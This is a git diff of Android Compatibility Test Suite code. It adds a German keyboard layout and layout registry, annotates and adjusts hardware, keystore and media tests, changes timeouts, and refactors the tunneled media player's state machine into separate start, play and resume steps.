diff --git a/tests/tests/hardware/res/raw/keyboard_layout_german.kcm b/tests/tests/hardware/res/raw/keyboard_layout_german.kcm
new file mode 100644
index 0000000..864af12
--- /dev/null
+++ b/tests/tests/hardware/res/raw/keyboard_layout_german.kcm
@@ -0,0 +1,333 @@
+# Copyright (C) 2022 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+#
+# German keyboard layout, QWERTZ style.
+#
+
+type OVERLAY
+
+map key 12 SLASH            # � ? \
+map key 21 Z
+map key 44 Y
+map key 53 MINUS            # - _
+map key 86 PLUS             # < > |
+
+### ROW 1
+
+key GRAVE {
+    label:                              '^'
+    base:                               '^'
+    shift:                              '\u00b0'
+}
+
+key 1 {
+    label:                              '1'
+    base:                               '1'
+    shift:                              '!'
+}
+
+key 2 {
+    label:                              '2'
+    base:                               '2'
+    shift:                              '"'
+    ralt:                               '\u00b2'
+}
+
+key 3 {
+    label:                              '3'
+    base:                               '3'
+    shift:                              '\u00a7'
+    ralt:                               '\u00b3'
+}
+
+key 4 {
+    label:                              '4'
+    base:                               '4'
+    shift:                              '$'
+}
+
+key 5 {
+    label:                              '5'
+    base:                               '5'
+    shift:                              '%'
+}
+
+key 6 {
+    label:                              '6'
+    base:                               '6'
+    shift:                              '&'
+}
+
+key 7 {
+    label:                              '7'
+    base:                               '7'
+    shift:                              '/'
+    ralt:                               '{'
+}
+
+key 8 {
+    label:                              '8'
+    base:                               '8'
+    shift:                              '('
+    ralt:                               '['
+}
+
+key 9 {
+    label:                              '9'
+    base:                               '9'
+    shift:                              ')'
+    ralt:                               ']'
+}
+
+key 0 {
+    label:                              '0'
+    base:                               '0'
+    shift:                              '='
+    ralt:                               '}'
+}
+
+key SLASH {
+    label:                              '\u00df'
+    base:                               '\u00df'
+    shift:                              '?'
+    ralt:                               '\\'
+}
+
+key EQUALS {
+    label:                              '\u00b4'
+    base:                               '\u0301'
+    shift:                              '\u0300'
+}
+
+### ROW 2
+
+key Q {
+    label:                              'Q'
+    base:                               'q'
+    shift, capslock:                    'Q'
+    ralt:                               '@'
+}
+
+key W {
+    label:                              'W'
+    base:                               'w'
+    shift, capslock:                    'W'
+}
+
+key E {
+    label:                              'E'
+    base:                               'e'
+    shift, capslock:                    'E'
+    ralt:                               '\u20ac'
+}
+
+key R {
+    label:                              'R'
+    base:                               'r'
+    shift, capslock:                    'R'
+}
+
+key T {
+    label:                              'T'
+    base:                               't'
+    shift, capslock:                    'T'
+}
+
+key Z {
+    label:                              'Z'
+    base:                               'z'
+    shift, capslock:                    'Z'
+}
+
+key U {
+    label:                              'U'
+    base:                               'u'
+    shift, capslock:                    'U'
+}
+
+key I {
+    label:                              'I'
+    base:                               'i'
+    shift, capslock:                    'I'
+}
+
+key O {
+    label:                              'O'
+    base:                               'o'
+    shift, capslock:                    'O'
+}
+
+key P {
+    label:                              'P'
+    base:                               'p'
+    shift, capslock:                    'P'
+}
+
+key LEFT_BRACKET {
+    label:                              '\u00dc'
+    base:                               '\u00fc'
+    shift, capslock:                    '\u00dc'
+}
+
+key RIGHT_BRACKET {
+    label:                              '+'
+    base:                               '+'
+    shift:                              '*'
+    ralt:                               '~'
+}
+
+### ROW 3
+
+key A {
+    label:                              'A'
+    base:                               'a'
+    shift, capslock:                    'A'
+}
+
+key S {
+    label:                              'S'
+    base:                               's'
+    shift, capslock:                    'S'
+}
+
+key D {
+    label:                              'D'
+    base:                               'd'
+    shift, capslock:                    'D'
+}
+
+key F {
+    label:                              'F'
+    base:                               'f'
+    shift, capslock:                    'F'
+}
+
+key G {
+    label:                              'G'
+    base:                               'g'
+    shift, capslock:                    'G'
+}
+
+key H {
+    label:                              'H'
+    base:                               'h'
+    shift, capslock:                    'H'
+}
+
+key J {
+    label:                              'J'
+    base:                               'j'
+    shift, capslock:                    'J'
+}
+
+key K {
+    label:                              'K'
+    base:                               'k'
+    shift, capslock:                    'K'
+}
+
+key L {
+    label:                              'L'
+    base:                               'l'
+    shift, capslock:                    'L'
+}
+
+key SEMICOLON {
+    label:                              '\u00d6'
+    base:                               '\u00f6'
+    shift, capslock:                    '\u00d6'
+}
+
+key APOSTROPHE {
+    label:                              '\u00c4'
+    base:                               '\u00e4'
+    shift, capslock:                    '\u00c4'
+}
+
+key BACKSLASH {
+    label:                              '#'
+    base:                               '#'
+    shift:                              '\''
+}
+
+### ROW 4
+
+key PLUS {
+    label:                              '<'
+    base:                               '<'
+    shift:                              '>'
+    ralt:                               '|'
+}
+
+key Y {
+    label:                              'Y'
+    base:                               'y'
+    shift, capslock:                    'Y'
+}
+
+key X {
+    label:                              'X'
+    base:                               'x'
+    shift, capslock:                    'X'
+}
+
+key C {
+    label:                              'C'
+    base:                               'c'
+    shift, capslock:                    'C'
+}
+
+key V {
+    label:                              'V'
+    base:                               'v'
+    shift, capslock:                    'V'
+}
+
+key B {
+    label:                              'B'
+    base:                               'b'
+    shift, capslock:                    'B'
+}
+
+key N {
+    label:                              'N'
+    base:                               'n'
+    shift, capslock:                    'N'
+}
+
+key M {
+    label:                              'M'
+    base:                               'm'
+    shift, capslock:                    'M'
+    ralt:                               '\u00b5'
+}
+
+key COMMA {
+    label:                              ','
+    base:                               ','
+    shift:                              ';'
+}
+
+key PERIOD {
+    label:                              '.'
+    base:                               '.'
+    shift:                              ':'
+}
+
+key MINUS {
+    label:                              '-'
+    base:                               '-'
+    shift:                              '_'
+}
diff --git a/tests/tests/hardware/res/xml/keyboard_layouts.xml b/tests/tests/hardware/res/xml/keyboard_layouts.xml
new file mode 100644
index 0000000..4516a36
--- /dev/null
+++ b/tests/tests/hardware/res/xml/keyboard_layouts.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2022 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<keyboard-layouts xmlns:android="http://schemas.android.com/apk/res/android">
+
+    <keyboard-layout android:name="keyboard_layout_english_us"
+                     android:label="English (US)"
+                     android:keyboardLayout="@raw/keyboard_layout_english_us" />
+
+    <keyboard-layout android:name="keyboard_layout_german"
+                     android:label="German"
+                     android:keyboardLayout="@raw/keyboard_layout_german" />
+
+    <keyboard-layout android:name="keyboard_layout_french"
+                     android:label="French"
+                     android:keyboardLayout="@raw/keyboard_layout_french" />
+</keyboard-layouts>
diff --git a/tests/tests/hardware/src/android/hardware/cts/DataSpaceTest.java b/tests/tests/hardware/src/android/hardware/cts/DataSpaceTest.java
index ebbfd30..ceb9835 100644
--- a/tests/tests/hardware/src/android/hardware/cts/DataSpaceTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/DataSpaceTest.java
@@ -37,11 +37,14 @@
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SmallTest;
 
+import com.android.compatibility.common.util.ApiTest;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+@ApiTest(apis = {"android.hardware.DataSpace#NamedDataSpace"})
 @RunWith(AndroidJUnit4.class)
 @SmallTest
 public class DataSpaceTest {
@@ -196,9 +199,10 @@
         }
     }
 
+    @ApiTest(apis = {"android.hardware.DataSpace#DATASPACE_JFIF"})
     @UiThreadTest
     @Test
-    public void getDataSpaceWithFormatYUV420_888() {
+    public void getDataSpaceWithFormatYV12() {
         mTex = new int[1];
         glGenTextures(1, mTex, 0);
 
@@ -208,7 +212,7 @@
 
         mSurface = new Surface(mSurfaceTexture);
         mWriter = new ImageWriter.Builder(mSurface)
-                .setImageFormat(ImageFormat.YUV_420_888)
+                .setImageFormat(ImageFormat.YV12)
                 .build();
 
         Image inputImage = null;
@@ -218,7 +222,7 @@
 
             mSurfaceTexture.updateTexImage();
 
-            // test default dataspace value of ImageFormat.YUV_420_888 format.
+            // test default dataspace value of ImageFormat.YV12 format.
             assertEquals(DataSpace.DATASPACE_JFIF, mSurfaceTexture.getDataSpace());
         } finally {
             if (inputImage != null) {
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/KeyboardLayoutChangeTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/KeyboardLayoutChangeTest.java
index 7dae1d1..a12730c 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/KeyboardLayoutChangeTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/KeyboardLayoutChangeTest.java
@@ -26,6 +26,9 @@
 import static org.mockito.Mockito.timeout;
 
 import android.Manifest;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
 import android.hardware.cts.R;
 import android.hardware.input.InputManager;
 import android.os.Handler;
@@ -36,6 +39,7 @@
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SmallTest;
 
+import com.android.compatibility.common.util.ApiTest;
 import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.Test;
@@ -44,6 +48,7 @@
 import org.mockito.Mock;
 import org.mockito.MockitoAnnotations;
 
+@ApiTest(apis = {"android.view.InputDevice#getKeyCodeForKeyLocation"})
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class KeyboardLayoutChangeTest extends InputHidTestCase {
@@ -201,4 +206,11 @@
                 timeout(KEYBOARD_LAYOUT_CHANGE_TIMEOUT)).onInputDeviceChanged(
                 eq(device.getId()));
     }
+
+    public static class CtsKeyboardLayoutProvider extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            // Nothing to do at this time.
+        }
+    }
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/VirtualTouchscreenTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/VirtualTouchscreenTest.java
index 7bd7b46..89b4073 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/VirtualTouchscreenTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/VirtualTouchscreenTest.java
@@ -73,14 +73,12 @@
                 .build());
         // Convert the input axis size to its equivalent fraction of the total screen.
         final float computedSize = inputSize / (DISPLAY_WIDTH - 1f);
-        // TODO(b/216638606): Investigate why a ACTION_HOVER_ENTER event is produced
+
         verifyEvents(Arrays.asList(
                 createMotionEvent(MotionEvent.ACTION_DOWN, /* x= */ x, /* y= */ y,
                         /* pressure= */ 1f, /* size= */ computedSize, /* axisSize= */ inputSize),
                 createMotionEvent(MotionEvent.ACTION_UP, /* x= */ x, /* y= */ y,
-                        /* pressure= */ 1f, /* size= */ computedSize, /* axisSize= */ inputSize),
-                createMotionEvent(MotionEvent.ACTION_HOVER_ENTER, /* x= */ 0f, /* y= */ 0f,
-                        /* pressure= */ 0f, /* size= */ 0f, /* axisSize= */ 0f)));
+                        /* pressure= */ 1f, /* size= */ computedSize, /* axisSize= */ inputSize)));
     }
 
     private MotionEvent createMotionEvent(int action, float x, float y, float pressure, float size,
diff --git a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
index 7943538..56dd1b0 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
@@ -2113,7 +2113,7 @@
         Signature.getInstance("NONEwithECDSA").initVerify(publicKey);
     }
 
-    private static final int MIN_SUPPORTED_KEY_COUNT = 1500;
+    private static final int MIN_SUPPORTED_KEY_COUNT = 1200;
     private static final Duration LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION = Duration.ofMinutes(4);
     private static final Duration LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_WATCH
             = Duration.ofMinutes(6);
diff --git a/tests/tests/media/audio/AndroidTest.xml b/tests/tests/media/audio/AndroidTest.xml
index a586ae1..26210bd 100644
--- a/tests/tests/media/audio/AndroidTest.xml
+++ b/tests/tests/media/audio/AndroidTest.xml
@@ -35,8 +35,8 @@
         <option name="package" value="android.media.audio.cts" />
         <!-- setup can be expensive so limit the number of shards -->
         <option name="ajur-max-shard" value="5" />
-        <!-- test-timeout unit is ms, value = 120 min -->
-        <option name="test-timeout" value="7200000" />
+        <!-- test-timeout unit is ms, value = 240 min -->
+        <option name="test-timeout" value="14400000" />
         <option name="runtime-hint" value="1h" />
         <option name="exclude-annotation" value="org.junit.Ignore" />
         <option name="hidden-api-checks" value="false" />
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java b/tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java
index 848d74c..c273a18 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java
+++ b/tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java
@@ -808,7 +808,7 @@
     }
 
     private MediaRecorder allocMediaRecorder() throws Exception {
-        final String outputPath = new File(Environment.getExternalStorageDirectory(),
+        final String outputPath = new File(mContext.getExternalFilesDir(null),
             "record.out").getAbsolutePath();
         mOutFile = new File(outputPath);
         MediaRecorder mediaRecorder = new MediaRecorder();
diff --git a/tests/tests/media/codec/AndroidTest.xml b/tests/tests/media/codec/AndroidTest.xml
index ce2b7ed..a2f5d2b 100644
--- a/tests/tests/media/codec/AndroidTest.xml
+++ b/tests/tests/media/codec/AndroidTest.xml
@@ -33,6 +33,11 @@
         <option name="dynamic-config-name" value="CtsMediaCodecTestCases" />
         <option name="version" value="1.0"/>
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaCodecTestCases" />
+        <option name="version" value="7.0"/>
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
         <option name="media-folder-name" value="CtsMediaCodecTestCases-1.0" />
@@ -42,11 +47,6 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsMediaCodecTestCases.apk" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
-        <option name="target" value="device" />
-        <option name="config-filename" value="CtsMediaCodecTestCases" />
-        <option name="version" value="7.0"/>
-    </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.media.codec.cts" />
         <!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecResourceTest.java b/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecResourceTest.java
index 3bd9db6..663ee1a 100644
--- a/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecResourceTest.java
+++ b/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecResourceTest.java
@@ -308,8 +308,8 @@
                 new IntentFilter(ACTION_LOW_PRIORITY_SERVICE_READY));
         Intent intent = new Intent(context, MediaCodecResourceTestLowPriorityService.class);
         context.startForegroundService(intent);
-        // Starting the service and receiving the broadcast should take less than 1 second
-        ProcessInfo processInfo = processInfoBroadcastReceiver.waitForProcessInfoMs(1000);
+        // Starting the service and receiving the broadcast should take less than 5 seconds
+        ProcessInfo processInfo = processInfoBroadcastReceiver.waitForProcessInfoMs(5000);
         context.unregisterReceiver(processInfoBroadcastReceiver);
         return processInfo;
     }
@@ -323,8 +323,8 @@
         Intent intent = new Intent(context, MediaCodecResourceTestHighPriorityActivity.class);
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
         context.startActivity(intent);
-        // Starting the activity and receiving the broadcast should take less than 1 second
-        ProcessInfo processInfo = processInfoBroadcastReceiver.waitForProcessInfoMs(1000);
+        // Starting the activity and receiving the broadcast should take less than 5 seconds
+        ProcessInfo processInfo = processInfoBroadcastReceiver.waitForProcessInfoMs(5000);
         context.unregisterReceiver(processInfoBroadcastReceiver);
         return processInfo;
     }
diff --git a/tests/tests/media/common/src/android/media/cts/CodecState.java b/tests/tests/media/common/src/android/media/cts/CodecState.java
index 13e56f8..4aa9db4 100644
--- a/tests/tests/media/common/src/android/media/cts/CodecState.java
+++ b/tests/tests/media/common/src/android/media/cts/CodecState.java
@@ -169,13 +169,15 @@
         }
     }
 
-    public void start() {
+    public void startCodec() {
         mCodec.start();
         mCodecInputBuffers = mCodec.getInputBuffers();
         if (!mIsTunneled || mIsAudio) {
             mCodecOutputBuffers = mCodec.getOutputBuffers();
         }
+    }
 
+    public void play() {
         if (mAudioTrack != null) {
             mAudioTrack.play();
         }
@@ -358,7 +360,7 @@
                 return null;
             }
 
-            if (mIsTunneled && !mIsAudio) {
+            if (mIsTunneled) {
                 if (mFirstSampleTimeUs == -1) {
                     mFirstSampleTimeUs = sampleTime;
                 }
diff --git a/tests/tests/media/common/src/android/media/cts/MediaCodecClearKeyPlayer.java b/tests/tests/media/common/src/android/media/cts/MediaCodecClearKeyPlayer.java
index 5e4df7f..888cf23 100644
--- a/tests/tests/media/common/src/android/media/cts/MediaCodecClearKeyPlayer.java
+++ b/tests/tests/media/common/src/android/media/cts/MediaCodecClearKeyPlayer.java
@@ -487,11 +487,13 @@
         }
 
         for (CodecState state : mVideoCodecStates.values()) {
-            state.start();
+            state.startCodec();
+            state.play();
         }
 
         for (CodecState state : mAudioCodecStates.values()) {
-            state.start();
+            state.startCodec();
+            state.play();
         }
 
         mDeltaTimeUs = -1;
diff --git a/tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java b/tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java
index 0b495dd..879f561 100644
--- a/tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java
+++ b/tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java
@@ -44,11 +44,13 @@
     /** State the player starts in, before configuration. */
     private static final int STATE_IDLE = 1;
     /** State of the player during initial configuration. */
-    private static final int STATE_PREPARING = 2;
+    private static final int STATE_PREPARED = 2;
+    /** State of the player after starting the codecs */
+    private static final int STATE_STARTED = 3;
     /** State of the player during playback. */
-    private static final int STATE_PLAYING = 3;
-    /** State of the player when configured but not playing. */
-    private static final int STATE_PAUSED = 4;
+    private static final int STATE_PLAYING = 4;
+    /** State of the player when playback is paused. */
+    private static final int STATE_PAUSED = 5;
 
     private Boolean mThreadStarted = false;
     private byte[] mSessionId;
@@ -194,7 +196,12 @@
         return true;
     }
 
+    // Creates the extractors, identifies tracks and formats, and then calls MediaCodec.configure
     public boolean prepare() throws IOException {
+        if (mState != STATE_IDLE) {
+            throw new IllegalStateException("Expected STATE_IDLE, got " + mState);
+        }
+
         if (null == mAudioExtractor) {
             mAudioExtractor = new MediaExtractor();
             if (null == mAudioExtractor) {
@@ -237,9 +244,7 @@
             return false;
         }
 
-        synchronized (mState) {
-            mState = STATE_PAUSED;
-        }
+        mState = STATE_PREPARED;
         return true;
     }
 
@@ -306,70 +311,56 @@
         return format.containsKey(key) ? format.getInteger(key) : 0;
     }
 
-    public boolean start() {
+    // Calls MediaCodec.start
+    public void startCodec() {
         Log.d(TAG, "start");
 
-        synchronized (mState) {
-            if (mState == STATE_PLAYING || mState == STATE_PREPARING) {
-                return true;
-            } else if (mState == STATE_IDLE) {
-                mState = STATE_PREPARING;
-                return true;
-            } else if (mState != STATE_PAUSED) {
-                throw new IllegalStateException("Expected STATE_PAUSED, got " + mState);
-            }
-
-            for (CodecState state : mVideoCodecStates.values()) {
-                state.start();
-            }
-
-            for (CodecState state : mAudioCodecStates.values()) {
-                state.start();
-            }
-
-            mDeltaTimeUs = -1;
-            mState = STATE_PLAYING;
+        if (mState != STATE_PREPARED) {
+            throw new IllegalStateException("Expected STATE_PREAPRED, got " + mState);
         }
-        return false;
+
+        for (CodecState state : mVideoCodecStates.values()) {
+            state.startCodec();
+        }
+
+        for (CodecState state : mAudioCodecStates.values()) {
+            state.startCodec();
+        }
+
+        mDeltaTimeUs = -1;
+        mState = STATE_STARTED;
     }
 
-    public void startWork() throws IOException, Exception {
-        try {
-            // Just change state from STATE_IDLE to STATE_PREPARING.
-            start();
-            // Extract media information from uri asset, and change state to STATE_PAUSED.
-            prepare();
-            // Start CodecState, and change from STATE_PAUSED to STATE_PLAYING.
-            start();
-        } catch (IOException e) {
-            throw e;
+    // Starts the decoding threads and then starts AudioTrack playback
+    public void play() {
+        if (mState != STATE_STARTED) {
+            throw new IllegalStateException("Expected STATE_STARTED, got " + mState);
         }
+        mState = STATE_PLAYING;
 
         synchronized (mThreadStarted) {
             mThreadStarted = true;
             mThread.start();
         }
-    }
 
-    public void startThread() {
-        start();
-        synchronized (mThreadStarted) {
-            mThreadStarted = true;
-            mThread.start();
+        for (CodecState state : mVideoCodecStates.values()) {
+            state.play();
+        }
+
+        for (CodecState state : mAudioCodecStates.values()) {
+            state.play();
         }
     }
 
-    // Pauses the audio track
+    // Pauses playback by pausing the AudioTrack
     public void pause() {
         Log.d(TAG, "pause");
 
-        synchronized (mState) {
-            if (mState == STATE_PAUSED) {
-                return;
-            } else if (mState != STATE_PLAYING) {
-                throw new IllegalStateException();
-            }
+        if (mState != STATE_PLAYING) {
+            throw new IllegalStateException("Expected STATE_PLAYING, got " + mState);
+        }
 
+        synchronized (mState) {
             for (CodecState state : mVideoCodecStates.values()) {
                 state.pause();
             }
@@ -382,43 +373,60 @@
         }
     }
 
-    public void flush() {
-        Log.d(TAG, "flush");
+    // Resume playback when paused
+    public void resume() {
+        Log.d(TAG, "resume");
+
+        if (mState != STATE_PAUSED) {
+            throw new IllegalStateException("Expected STATE_PAUSED, got " + mState);
+        }
 
         synchronized (mState) {
-            if (mState == STATE_PLAYING || mState == STATE_PREPARING) {
-                return;
+            for (CodecState state : mVideoCodecStates.values()) {
+                state.play();
             }
 
             for (CodecState state : mAudioCodecStates.values()) {
-                state.flush();
+                state.play();
             }
 
-            for (CodecState state : mVideoCodecStates.values()) {
-                state.flush();
-            }
+            mState = STATE_PLAYING;
         }
     }
 
-    /** Seek all tracks to their very beginning.
+    public void flush() {
+        Log.d(TAG, "flush");
+
+        if (mState != STATE_PAUSED) {
+            throw new IllegalStateException("Expected STATE_PAUSED, got " + mState);
+        }
+
+        for (CodecState state : mAudioCodecStates.values()) {
+            state.flush();
+        }
+
+        for (CodecState state : mVideoCodecStates.values()) {
+            state.flush();
+        }
+    }
+
+    /** Seek all tracks to the first sample time.
      *
      * @param  presentationTimeOffsetUs The offset for the presentation time to start at.
      * @throws IllegalStateException  if the player is not paused
      */
     public void seekToBeginning(long presentationTimeOffsetUs) {
         Log.d(TAG, "seekToBeginning");
-        synchronized (mState) {
-            if (mState != STATE_PAUSED) {
-                throw new IllegalStateException("Expected STATE_PAUSED, got " + mState);
-            }
+        if (mState != STATE_PAUSED) {
+            throw new IllegalStateException("Expected STATE_PAUSED, got " + mState);
+        }
 
-            for (CodecState state : mVideoCodecStates.values()) {
-                state.seekToBeginning(presentationTimeOffsetUs);
-            }
+        for (CodecState state : mVideoCodecStates.values()) {
+            state.seekToBeginning(presentationTimeOffsetUs);
+        }
 
-            for (CodecState state : mAudioCodecStates.values()) {
-                state.seekToBeginning(presentationTimeOffsetUs);
-            }
+        for (CodecState state : mAudioCodecStates.values()) {
+            state.seekToBeginning(presentationTimeOffsetUs);
         }
     }
 
@@ -426,53 +434,50 @@
      * Enables or disables looping. Should be called after {@link #prepare()}.
      */
     public void setLoopEnabled(boolean enabled) {
-        synchronized (mState) {
-            if (mVideoCodecStates != null) {
-                for (CodecState state : mVideoCodecStates.values()) {
-                    state.setLoopEnabled(enabled);
-                }
-            }
+        if (mState != STATE_PREPARED) {
+            throw new IllegalStateException("Expected STATE_PREPARED, got " + mState);
+        }
 
-            if (mAudioCodecStates != null) {
-                for (CodecState state : mAudioCodecStates.values()) {
-                    state.setLoopEnabled(enabled);
-                }
-            }
+        for (CodecState state : mVideoCodecStates.values()) {
+            state.setLoopEnabled(enabled);
+        }
+
+        for (CodecState state : mAudioCodecStates.values()) {
+            state.setLoopEnabled(enabled);
         }
     }
 
     public void reset() {
-        synchronized (mState) {
-            if (mState == STATE_PLAYING) {
-                pause();
-            }
-            if (mVideoCodecStates != null) {
-                for (CodecState state : mVideoCodecStates.values()) {
-                    state.release();
-                }
-                mVideoCodecStates = null;
-            }
-
-            if (mAudioCodecStates != null) {
-                for (CodecState state : mAudioCodecStates.values()) {
-                    state.release();
-                }
-                mAudioCodecStates = null;
-            }
-
-            if (mAudioExtractor != null) {
-                mAudioExtractor.release();
-                mAudioExtractor = null;
-            }
-
-            if (mVideoExtractor != null) {
-                mVideoExtractor.release();
-                mVideoExtractor = null;
-            }
-
-            mDurationUs = -1;
-            mState = STATE_IDLE;
+        if (mState == STATE_PLAYING) {
+            pause();
         }
+        if (mVideoCodecStates != null) {
+            for (CodecState state : mVideoCodecStates.values()) {
+                state.release();
+            }
+            mVideoCodecStates = null;
+        }
+
+        if (mAudioCodecStates != null) {
+            for (CodecState state : mAudioCodecStates.values()) {
+                state.release();
+            }
+            mAudioCodecStates = null;
+        }
+
+        if (mAudioExtractor != null) {
+            mAudioExtractor.release();
+            mAudioExtractor = null;
+        }
+
+        if (mVideoExtractor != null) {
+            mVideoExtractor.release();
+            mVideoExtractor = null;
+        }
+
+        mDurationUs = -1;
+        mState = STATE_IDLE;
+
         synchronized (mThreadStarted) {
             mThreadStarted = false;
         }
@@ -607,6 +612,14 @@
         return mVideoCodecStates.get(0).getVideoTimeUs();
     }
 
+    public long getVideoSystemTimeNs() {
+        if (mVideoCodecStates == null || mVideoCodecStates.get(0) == null) {
+            return -1;
+        }
+        return mVideoCodecStates.get(0).getVideoTimeUs();
+
+    }
+
     /**
      * Returns the ordered list of video frame timestamps rendered in tunnel mode.
      *
@@ -643,39 +656,23 @@
     public Long queueOneVideoFrame() {
         Log.d(TAG, "queueOneVideoFrame");
 
-        if (mVideoCodecStates == null || !(mState == STATE_PLAYING || mState == STATE_PAUSED)) {
-            return null;
+        if (mState != STATE_STARTED && mState != STATE_PAUSED) {
+            throw new IllegalStateException("Expected STARTED or PAUSED, got " + mState);
         }
 
         Long result = null;
-        for (CodecState state : mVideoCodecStates.values()) {
-            Long timestamp = state.doSomeWork(true /* mustWait */);
-            if (timestamp != null) {
-                result = timestamp;
+        if (mVideoCodecStates != null) {
+            for (CodecState state : mVideoCodecStates.values()) {
+                Long timestamp = state.doSomeWork(true /* mustWait */);
+                if (timestamp != null) {
+                    result = timestamp;
+                }
             }
         }
         return result;
     }
 
     /**
-     * Resume playback when paused.
-     *
-     * @throws IllegalStateException if playback is not paused or if there is no configured audio
-     *                               track.
-     */
-    public void resume() {
-        Log.d(TAG, "resume");
-        if (mAudioTrackState == null) {
-            throw new IllegalStateException("Resuming playback with no audio track");
-        }
-        if (mState != STATE_PAUSED) {
-            throw new IllegalStateException("Expected STATE_PAUSED, got " + mState);
-        }
-        mAudioTrackState.playAudioTrack();
-        mState = STATE_PLAYING;
-    }
-
-    /**
      * Configure video peek for the video codecs attached to the player.
      */
     public void setVideoPeek(boolean enable) {
diff --git a/tests/tests/media/decoder/AndroidTest.xml b/tests/tests/media/decoder/AndroidTest.xml
index c7d4550..55fe608 100644
--- a/tests/tests/media/decoder/AndroidTest.xml
+++ b/tests/tests/media/decoder/AndroidTest.xml
@@ -33,6 +33,11 @@
         <option name="dynamic-config-name" value="CtsMediaDecoderTestCases" />
         <option name="version" value="1.0"/>
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaDecoderTestCases" />
+        <option name="version" value="1.0"/>
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
         <option name="media-folder-name" value="CtsMediaDecoderTestCases-1.1" />
@@ -42,11 +47,6 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsMediaDecoderTestCases.apk" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
-        <option name="target" value="device" />
-        <option name="config-filename" value="CtsMediaDecoderTestCases" />
-        <option name="version" value="1.0"/>
-    </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.media.decoder.cts" />
         <!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTest.java
index 145cfaf..c982376 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTest.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTest.java
@@ -25,7 +25,6 @@
 import android.content.Context;
 import android.graphics.Bitmap;
 import android.media.MediaFormat;
-import android.media.cts.MediaCodecTunneledPlayer;
 import android.media.cts.MediaHeavyPresubmitTest;
 import android.media.cts.TestArgs;
 import android.os.Environment;
